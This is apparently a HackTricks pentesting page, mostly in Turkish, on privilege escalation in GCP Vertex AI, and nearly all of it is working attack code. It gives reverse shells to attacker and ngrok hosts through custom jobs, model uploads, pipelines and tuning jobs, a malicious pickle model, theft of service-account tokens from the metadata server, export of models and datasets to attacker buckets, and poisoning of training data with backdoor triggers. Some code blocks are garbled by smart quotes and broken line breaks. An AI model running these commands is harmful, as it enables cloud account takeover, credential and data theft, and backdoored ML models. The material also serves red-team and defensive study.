GCP - Vertex AI Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Vertex AI

Vertex AI hakkında daha fazla bilgi için bakınız:

GCP - Vertex AI Enum

runtime metadata service, varsayılan Vertex AI service agent’ı ve proje çapında consumer / producer / tenant kaynaklarına pivotlama kullanılarak yapılan Agent Engine / Reasoning Engine post-exploitation yolları için bakınız:

GCP - Vertex AI Post Exploitation

aiplatform.customJobs.create, iam.serviceAccounts.actAs

Hedef bir service account üzerinde aiplatform.customJobs.create iznine ve iam.serviceAccounts.actAs yetkisine sahip olmak, bir saldırganın yükseltilmiş ayrıcalıklarla herhangi bir kodu çalıştırmasına olanak verir.

Bu, saldırgan kontrolündeki kodu (özel bir container veya Python paketi) çalıştıran bir custom training job oluşturarak gerçekleşir. --service-account bayrağı ile ayrıcalıklı bir service account belirtildiğinde, job o service account’un izinlerini devralır. Job, Google tarafından yönetilen altyapıda çalışır ve GCP metadata servisine erişimi olur; bu da service account’un OAuth erişim token’ının çıkarılmasına imkan verir.

Impact: Hedef service account’un izinlerine tam ayrıcalık yükseltmesi.

Reverse shell içeren custom job oluşturma ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region= \ --display-name=revshell-job \ --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ --command=sh \ --args=-c,"curl http://attacker.com" \ --service-account=@.iam.gserviceaccount.com

On your attacker machine, start a listener first:

nc -lvnp 4444

Once connected, you can extract the token with:

curl -H ‘Metadata-Flavor: Google’ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Method 2: Python reverse shell (if bash reverse shell is blocked)

gcloud ai custom-jobs create
–region=
–display-name=revshell-job
–worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
–command=sh
–args=-c,“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])’”
–service-account=@.iam.gserviceaccount.com

</details>

<details>

<summary>Alternatif: Token'ı günlüklerden çıkar</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>

aiplatform.models.upload, aiplatform.models.get

Bu teknik, Vertex AI’ye bir model yükleyerek ve ardından bu modeli bir endpoint deployment veya batch prediction job aracılığıyla yükseltilmiş ayrıcalıklarla kod çalıştırmak için kullanarak ayrıcalık yükseltmesi sağlar.

Note

Bu saldırıyı gerçekleştirmek için model artifacts’lerini yüklemek üzere herkese açık okunabilir bir GCS bucket’a sahip olmak veya yeni bir tane oluşturmak gerekir.

Upload malicious pickled model with reverse shell ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickle

class MaliciousModel: def reduce(self): import subprocess cmd = “bash -i >& /dev/tcp/YOUR-IP/4444 0>&1” return (subprocess.Popen, ([‘/bin/bash’, ‘-c’, cmd],))

Save malicious model

with open(‘model.pkl’, ‘wb’) as f: pickle.dump(MaliciousModel(), f) EOF

python3 create_malicious_model.py

Upload to GCS

gsutil cp model.pkl gs://your-bucket/malicious-model/

Upload model (reverse shell executes when endpoint loads it during deployment)

gcloud ai models upload
–region=
–artifact-uri=gs://your-bucket/malicious-model/
–display-name=malicious-sklearn
–container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest

On attacker: nc -lvnp 4444 (shell connects when deployment starts)

</details>

<details>

<summary>container reverse shell ile model yükle</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

[!DANGER] Kötü amaçlı modeli yükledikten sonra saldırgan, modelin birisi tarafından kullanılmasını bekleyebilir veya modeli kendisi bir endpoint deployment veya batch prediction job aracılığıyla başlatabilir.

iam.serviceAccounts.actAs, ( aiplatform.endpoints.create, aiplatform.endpoints.deploy, aiplatform.endpoints.get ) veya ( aiplatform.endpoints.setIamPolicy )

Eğer endpoint’lere model oluşturma ve deploy etme ya da endpoint IAM politikalarını değiştirme izinlerine sahipseniz, projeye yüklenmiş kötü amaçlı modelleri privilege escalation elde etmek için kullanabilirsiniz. Bir endpoint aracılığıyla daha önce yüklenmiş kötü amaçlı modellerden birini tetiklemek için yapmanız gerekenler:

Kötü amaçlı modeli endpoint'e deploy et ```bash # Create an endpoint gcloud ai endpoints create \ --region= \ --display-name=revshell-endpoint

Deploy with privileged service account

gcloud ai endpoints deploy-model
–region=
–model=
–display-name=revshell-deployment
–service-account=@.iam.gserviceaccount.com
–machine-type=n1-standard-2
–min-replica-count=1

</details>


#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`

Bir **batch prediction jobs** oluşturma izniniz ve bunu bir service account ile çalıştırma yetkiniz varsa metadata service'e erişebilirsiniz. Kötü amaçlı kod, batch prediction süreci sırasında bir **custom prediction container** veya **malicious model** içinden çalıştırılır.

> [!NOTE]
> Bu saldırı önce bir malicious model yüklemeyi (bkz. `aiplatform.models.upload` bölüm yukarıda) veya reverse shell kodunuzu içeren bir custom prediction container kullanmayı gerektirir.

<details>

<summary>Malicious model ile batch prediction job oluştur</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

aiplatform.models.export

Eğer models.export iznine sahipseniz, kontrol ettiğiniz bir GCS bucket’a model artefaktlarını dışa aktarabilir ve potansiyel olarak hassas eğitim verilerine veya model dosyalarına erişebilirsiniz.

Note

Bu attack’i gerçekleştirmek için, model artefaktlarını yüklemek amacıyla herkese okunur ve yazılabilir bir GCS bucket’a sahip olmak veya yeni bir tane oluşturmak gerekir.

Model artefaktlarını GCS bucket'a dışa aktar ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

Rastgele konteynerlerle birden fazla adım çalıştıran ve reverse shell erişimiyle privilege escalation sağlayan **ML pipeline jobs** oluşturun.

Pipelines, privilege escalation için özellikle güçlüdür; çünkü her bileşenin farklı konteyner ve yapılandırmalar kullanabileceği çok aşamalı saldırıları destekler.

> [!NOTE]
> Pipeline kökü olarak kullanmak için herkesin yazabildiği (world writable) bir GCS bucket'a ihtiyacınız var.

<details>

<summary>Vertex AI SDK'yi yükleyin</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
Reverse shell container ile pipeline job oluştur ```python #!/usr/bin/env python3 import json import subprocess

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

Özel custom training containers aracılığıyla yükseltilmiş ayrıcalıklarla rastgele kod çalıştıran **hyperparameter tuning jobs** oluşturun.

Hyperparameter tuning jobs, farklı hyperparameter değerleriyle paralel olarak birden çok training denemesini çalıştırmanıza izin verir. Kötü amaçlı bir container içinde reverse shell veya exfiltration komutu belirleyip bunu ayrıcalıklı bir service account ile ilişkilendirerek privilege escalation sağlayabilirsiniz.

**Impact**: Hedef service account'un izinlerine tam privilege escalation.

<details>

<summary>Reverse shell içeren hyperparameter tuning job oluşturma</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

aiplatform.datasets.export

Eğitim verilerini (hassas bilgiler içerebilecek) sızdırmak için veri kümelerini dışa aktar.

Note: Veri kümesi işlemleri REST API veya Python SDK gerektirir (gcloud CLI için veri kümeleri desteği yok).

Veri kümeleri genellikle orijinal eğitim verilerini içerir; bunlar PII, gizli işletme verileri veya üretim modellerini eğitmek için kullanılan diğer hassas bilgileri içerebilir.

Eğitim verilerini sızdırmak için veri kümesini dışa aktar ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

Mevcut dataset'lere kötü amaçlı veya poisoned veri import ederek **model eğitimini manipüle etmek ve backdoors eklemek**.

**Not**: Dataset işlemleri REST API veya Python SDK gerektirir (datasets için gcloud CLI desteği yok).

Eğitim için kullanılan bir dataset'e crafted veri import ederek saldırgan şunları yapabilir:
- Model'lara backdoors eklemek (trigger-based yanlış sınıflandırma)
- Eğitim verisini poison ederek model performansını düşürmek
- Modellerin bilgi leak etmesine neden olacak veri inject etmek
- Belirli girdiler için model davranışını manipüle etmek

Bu saldırı, şu amaçlarla kullanılan dataset'leri hedeflediğinde özellikle etkilidir:
- Görüntü sınıflandırma (mislabeled görüntüler inject etmek)
- Metin sınıflandırma (biased veya kötü amaçlı metin inject etmek)
- Nesne tespiti (bounding box'ları manipüle etmek)
- Öneri sistemleri (sahte tercihleri inject etmek)

<details>

<summary>Dataset'e poisoned veri import et</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

Saldırı Senaryoları:

Arka kapı saldırısı - Görüntü sınıflandırma ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```
Label flipping attack ```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```
Data poisoning için model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```
Belirli varlıklara yönelik hedefli saldırı ```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```

[!DANGER] Data poisoning saldırıları ciddi sonuçlar doğurabilir:

  • Security systems: Yüz tanıma veya anomali tespitini atlatma
  • Fraud detection: Modellerin belirli dolandırıcılık kalıplarını görmezden gelmesi için eğitilmesi
  • Content moderation: Zararlı içeriğin güvenli olarak sınıflandırılmasına neden olma
  • Medical AI: Kritik sağlık durumlarını yanlış sınıflandırma
  • Autonomous systems: Güvenlik açısından kritik kararlar için nesne tespitinin manipüle edilmesi

Impact:

  • Backdoored modellerin belirli tetikleyicilerde yanlış sınıflandırma yapması
  • Model performansında ve doğruluğunda düşüş
  • Belirli girdilere karşı ayrımcılık yapan yanlı modeller
  • Information leakage through model behavior
  • Uzun vadeli kalıcılık (poisoned data ile eğitilen modeller backdoor’u devralır)

aiplatform.notebookExecutionJobs.create, iam.serviceAccounts.actAs

Warning

Note

Kullanımdan kaldırılmış API: aiplatform.notebookExecutionJobs.create API’si, Vertex AI Workbench Managed Notebooks’in kullanımdan kaldırılması kapsamında deprecated’dir. Modern yaklaşım, notebukları aiplatform.customJobs.create üzerinden çalıştıran Vertex AI Workbench Executor kullanmaktır (yukarıda zaten belgelenmiştir). Vertex AI Workbench Executor, belirli bir servis hesabı ile Vertex AI custom training altyapısı üzerinde çalışacak notebook çalıştırmalarını zamanlamanıza olanak tanır. Bu temelde customJobs.create etrafında bir kolaylık sarmalayıcısıdır. Notebooks yoluyla ayrıcalık yükseltme için: Yukarıda belgelenen aiplatform.customJobs.create yöntemini kullanın; bu daha hızlı, daha güvenilir ve Workbench Executor ile aynı altyapıyı kullanır.

Aşağıdaki teknik yalnızca tarihsel bağlam için verilmiştir ve yeni değerlendirmelerde kullanılması önerilmez.

Rastgele kod çalıştıran Jupyter notebook’larını çalıştıracak notebook execution jobs oluşturun.

Notebook job’ları, Python kod hücrelerini ve shell komutlarını desteklediği için servis hesabı ile etkileşimli tarzda kod çalıştırma için idealdir.

Kötü amaçlı notebook dosyası oluşturma ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' { "cells": [ { "cell_type": "code", "source": [ "import subprocess\n", "token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", "print(token.decode())" ] } ], "metadata": {}, "nbformat": 4 } EOF

Upload to GCS

gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

</details>

<details>

<summary>Hedef service account ile notebook'u çalıştır</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin